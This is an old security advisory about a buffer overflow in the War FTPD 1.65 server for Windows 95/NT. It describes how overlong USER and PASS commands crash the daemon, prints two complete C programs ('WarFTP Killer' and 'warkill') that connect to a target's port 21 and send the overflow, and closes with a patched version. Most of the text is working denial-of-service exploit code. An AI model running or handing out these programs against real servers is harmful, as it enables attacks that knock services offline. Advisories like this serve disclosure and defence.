COMMAND
War FTPD
SYSTEMS AFFECTED
Win95, NT
PROBLEM
According to rootshell archieve, the popular War FTPD daemon
(1.65) for Windows 95 and NT contains a very bad buffer overflow
allows for remote users to execute code on your stack or simply
crash the ftp server. The overflow exists in many places
including the USER and PASS phase. To exploit War FTPD you must
connect to the FTP server (port 21) and issue the following
command:
USER xxxxxxxxxxxxxxxxxxxxxxxxxxxxx (very long string)
or
PASS xxxxxxxxxxxxxxxxxxxxxxxxxxxxx (very long strong)
At this point the FTP daemon will crash. Two exploits based on
this follows.
Exploit #1:
===========
/*
* WarFTP Killer by A|vin - 02/25/98
* Contact : alvin@another-world.com
*
* Crashes WarFTP Win95/NT FTP daemon by sending a long
* string in user authentification. Tested on WarFTP 1.65.
*
* Based on information from www.rootshell.com
*
* Greetz : ackb0o, amplex, AFauveau, ben`be, kewl,
* Owlie, Parker, Rapha, Richelieu, Sibere, Voks.
*
* .oO GeMiNi C0rP iZ EvErYwHeRe Oo.
*/
#include <stdio.h>
#include <strings.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
struct in_addr
resolv (char *name)
{
static struct in_addr in;
unsigned long l;
struct hostent *ent;
if ((l = inet_addr (name)) != INADDR_NONE)
{
in.s_addr = l;
return in;
}
if (!(ent = gethostbyname (name)))
{
in.s_addr = INADDR_NONE;
return in;
}
return *(struct in_addr *) ent->h_addr;
}
main (int argc, char *argv[])
{
struct sockaddr_in addr;
int i, s;
char c;
int port = 21;
printf ("WarFTP Killer by A|vin - .oO GeMiNi C0rP iZ EvErYwHeRe Oo.\n");
if (argc < 2)
{
printf ("Usage : %s <host> [port]\n", argv[0]);
exit (0);
}
if (argc == 3)
port = atoi (argv[2]);
s = socket (AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_addr = resolv (argv[1]);
addr.sin_port = htons (port);
connect (s, (struct sockaddr *) &addr, sizeof (addr));
write (s, "USER ", 5);
for (i = 1; i <= 500; i++)
{
write (s, "GeMiNi", 6);
}
write (s, "\n", 1);
write (s, "PASS ", 5);
for (i = 1; i <= 500; i++)
{
write (s, "C0rP", 4);
}
write (s, "\n", 1);
read (s, &c, 1);
printf("Done.\n");
}
Exploit #2:
===========
/*
* This file is for educational use only, I hold
* NO RESPONSIBILITY FOR YOUR ACTIONS
* Use wisely
* This basically connects to the port of a warftp
* server and sends buffer overflow.
* usage: warkill server [port]
* port defaults to 21
*
* Written by: Master
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
int s;
char *user = "USER anonymous\n";
char *pass = "PASS xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\
n";
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
void main(int argc,char *argv[])
{
char in_addr[100];
if(argc < 2)
{
printf("Usage: %s <hostname> [port]\n",argv[0]);
exit(0);
}
if((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{
perror("socket()");
exit(-1);
}
if(argc > 2 && argc < 4)
{
const int port = atoi(argv[2]);
strcpy(in_addr,argv[1]);
open_socket(s,in_addr,port);
}
else
{
const int port = 21;
strcpy(in_addr,argv[1]);
open_socket(s,in_addr,port);
}
usleep(10000);
send(s,user,strlen(user),0);
usleep(10000);
send(s,pass,strlen(pass),0);
usleep(1000000);
close(s);
}
int open_socket(int sock, char *server,int ports)
{
struct sockaddr_in addy;
struct hostent *he;
bzero((char *)&addy,sizeof(addy));
addy.sin_family=AF_INET;
addy.sin_addr.s_addr=inet_addr(server);
addy.sin_port=htons(ports);
if ((he = gethostbyname(server)) != NULL)
{
bcopy(he->h_addr, (char *)&addy.sin_addr, he->h_length);
}
else
{
if ((addy.sin_addr.s_addr = inet_addr(server)) < 0)
{
perror("gethostbyname()");
return(-3);
}
}
if (connect(sock,(struct sockaddr *)&addy,sizeof(addy))==-1)
{
perror("connect()");
close(sock);
return(-4);
}
printf("Sent Overflow [%s:%d].\n",server,ports);
}
SOLUTION
Home page for wftpd is now:
http://home.sol.no/~jarlaase/tftpd.htm
The latest version is 1.66x4; it resists the 500'x' login and
password attacks, and notices them for its log.